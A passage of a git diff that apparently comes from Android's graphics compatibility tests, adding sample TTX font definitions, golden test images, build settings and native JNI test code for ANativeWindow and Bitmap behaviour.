+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/samplefont2.ttf b/tests/tests/graphics/assets/samplefont2.ttf
new file mode 100644
index 0000000..f31b8a9
--- /dev/null
+++ b/tests/tests/graphics/assets/samplefont2.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont2.ttx b/tests/tests/graphics/assets/samplefont2.ttx
new file mode 100644
index 0000000..f618123
--- /dev/null
+++ b/tests/tests/graphics/assets/samplefont2.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/samplefont3.ttf b/tests/tests/graphics/assets/samplefont3.ttf
new file mode 100644
index 0000000..9c850ab
--- /dev/null
+++ b/tests/tests/graphics/assets/samplefont3.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont3.ttx b/tests/tests/graphics/assets/samplefont3.ttx
new file mode 100644
index 0000000..b3f08e6
--- /dev/null
+++ b/tests/tests/graphics/assets/samplefont3.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:31:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/translucent-green-p3.png b/tests/tests/graphics/assets/translucent-green-p3.png
new file mode 100644
index 0000000..8066e69
--- /dev/null
+++ b/tests/tests/graphics/assets/translucent-green-p3.png
Binary files differ
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
index dd0d7e4..629ae64 100644
--- a/tests/tests/graphics/jni/Android.mk
+++ b/tests/tests/graphics/jni/Android.mk
@@ -22,12 +22,16 @@
 
 LOCAL_SRC_FILES := \
 	CtsGraphicsJniOnLoad.cpp \
+	android_graphics_cts_ANativeWindowTest.cpp \
+	android_graphics_cts_BitmapTest.cpp \
 	android_graphics_cts_VulkanFeaturesTest.cpp
 
+LOCAL_CFLAGS += -Wall -Werror
+
 LOCAL_STATIC_LIBRARIES := libvkjson_ndk
-LOCAL_SHARED_LIBRARIES := libvulkan liblog libdl
+LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow liblog libdl libjnigraphics
 LOCAL_NDK_STL_VARIANT := c++_static
 
-LOCAL_SDK_VERSION := 24
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
index 612054f..4a40706 100644
--- a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
+++ b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
@@ -17,12 +17,18 @@
 #include <jni.h>
 #include <stdio.h>
 
+extern int register_android_graphics_cts_ANativeWindowTest(JNIEnv*);
+extern int register_android_graphics_cts_BitmapTest(JNIEnv*);
 extern int register_android_graphics_cts_VulkanFeaturesTest(JNIEnv*);
 
 jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
     JNIEnv* env = nullptr;
     if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK)
         return JNI_ERR;
+    if (register_android_graphics_cts_ANativeWindowTest(env))
+        return JNI_ERR;
+    if (register_android_graphics_cts_BitmapTest(env))
+        return JNI_ERR;
     if (register_android_graphics_cts_VulkanFeaturesTest(env))
         return JNI_ERR;
     return JNI_VERSION_1_4;
diff --git a/tests/tests/graphics/jni/android_graphics_cts_ANativeWindowTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_ANativeWindowTest.cpp
new file mode 100644
index 0000000..788c66e
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_cts_ANativeWindowTest.cpp
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "ANativeWindowTest"
+
+#include <array>
+#include <jni.h>
+#include <android/native_window.h>
+#include <android/native_window_jni.h>
+
+namespace {
+
+void pushBufferWithTransform(JNIEnv* env, jclass, jobject jSurface, jint transform) {
+    auto window = ANativeWindow_fromSurface(env, jSurface);
+    ANativeWindow_setBuffersTransform(window, transform);
+    ANativeWindow_Buffer mappedBuffer;
+    ANativeWindow_lock(window, &mappedBuffer, nullptr);
+    ANativeWindow_unlockAndPost(window);
+    ANativeWindow_release(window);
+}
+
+const std::array<JNINativeMethod, 1> JNI_METHODS = {{
+    { "nPushBufferWithTransform", "(Landroid/view/Surface;I)V", (void*)pushBufferWithTransform },
+}};
+
+}
+
+int register_android_graphics_cts_ANativeWindowTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/graphics/cts/ANativeWindowTest");
+    return env->RegisterNatives(clazz, JNI_METHODS.data(), JNI_METHODS.size());
+}
diff --git a/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp
new file mode 100644
index 0000000..4af6b3c
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp
@@ -0,0 +1,93 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "BitmapTest"
+
+#include <jni.h>
+#include <android/bitmap.h>
+#include <cstdlib>
+#include <cstring>
+
+// Copied from tests/sensor/jni/nativeTestHelper.h
+// TODO: Move to a shared location
+#define ASSERT(condition, format, args...) \
+        if (!(condition)) { \
+            fail(env, format, ## args); \
+            return; \
+        }
+
+#define ASSERT_TRUE(a) ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+        ASSERT((a) == (b), "assert failed on (" #a " == " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+        ASSERT((a) != (b), "assert failed on (" #a " != " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+        ASSERT((a) > (b), "assert failed on (" #a " > " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GE(a, b) \
+        ASSERT((a) >= (b), "assert failed on (" #a " >= " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LT(a, b) \
+        ASSERT((a) < (b), "assert failed on (" #a " < " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LE(a, b) \
+        ASSERT((a) <= (b), "assert failed on (" #a " <= " #b ") at " __FILE__ ":%d", __LINE__)
+
+static void fail(JNIEnv* env, const char* format, ...) {
+    va_list args;
+
+    va_start(args, format);
+    char *msg;
+    vasprintf(&msg, format, args);
+    va_end(args);
+
+    jclass exClass;
+    const char *className = "java/lang/AssertionError";
+    exClass = env->FindClass(className);
+    env->ThrowNew(exClass, msg);
+    free(msg);
+}
+
+static void validateBitmapInfo(JNIEnv* env, jclass, jobject jbitmap, jint width, jint height,
+        jboolean is565) {
+    AndroidBitmapInfo info;
+    int err = 0;
+    err = AndroidBitmap_getInfo(env, jbitmap, &info);
+    ASSERT_EQ(ANDROID_BITMAP_RESULT_SUCCESS, err);
+    ASSERT_TRUE(width >= 0 && height >= 0);
+    ASSERT_EQ((uint32_t) width, info.width);
+    ASSERT_EQ((uint32_t) height, info.height);
+    int32_t format = is565 ? ANDROID_BITMAP_FORMAT_RGB_565 : ANDROID_BITMAP_FORMAT_RGBA_8888;
+    ASSERT_EQ(format, info.format);
+}
+
+static void validateNdkAccessAfterRecycle(JNIEnv* env, jclass, jobject jbitmap) {
+    void* pixels = nullptr;
+    int err = AndroidBitmap_lockPixels(env, jbitmap, &pixels);
+    ASSERT_EQ(err, ANDROID_BITMAP_RESULT_JNI_EXCEPTION);
+}
+
+static JNINativeMethod gMethods[] = {
+    { "nValidateBitmapInfo", "(Landroid/graphics/Bitmap;IIZ)V",
+        (void*) validateBitmapInfo },
+    { "nValidateNdkAccessAfterRecycle", "(Landroid/graphics/Bitmap;)V",
+        (void*) validateNdkAccessAfterRecycle },
+};
+
+int register_android_graphics_cts_BitmapTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/graphics/cts/BitmapTest");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/graphics/res/drawable-nodpi/alpha_mask.png b/tests/tests/graphics/res/drawable-nodpi/alpha_mask.png
new file mode 100644
index 0000000..1d6177f
--- /dev/null
+++ b/tests/tests/graphics/res/drawable-nodpi/alpha_mask.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_indexed.gif b/tests/tests/graphics/res/drawable-nodpi/bitmap_indexed.gif
new file mode 100644
index 0000000..d1c2815
--- /dev/null
+++ b/tests/tests/graphics/res/drawable-nodpi/bitmap_indexed.gif
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png
index 5a5c3d2..b5c328b 100644
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png
+++ b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png
index 611b27b..a755249 100644
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png
+++ b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png
index e8beaa5..d6f5cce 100644
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png
+++ b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png
index b869ed7..3c5f37e 100644
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png
+++ b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
new file mode 100644
index 0000000..38339b7
--- /dev/null
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_arcto_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_arcto_golden.png
index 7ba0f17..a22f678 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_arcto_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_arcto_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
index bef75d4..01c445c 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
index 85cf20b..739eea1 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
index a137784..5454e2f 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
index d5288d1..ea6441a 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
index 09fd92f..06eccb8 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
index 9f1b257..64a6476 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
new file mode 100644
index 0000000..e74c181
--- /dev/null
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
index 67f5746..d010d79 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
index d24321c..5ada060 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
index 7e35798..5af7090 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
index 1427f4b..24b9662 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
index 5880467..c9677a6 100644
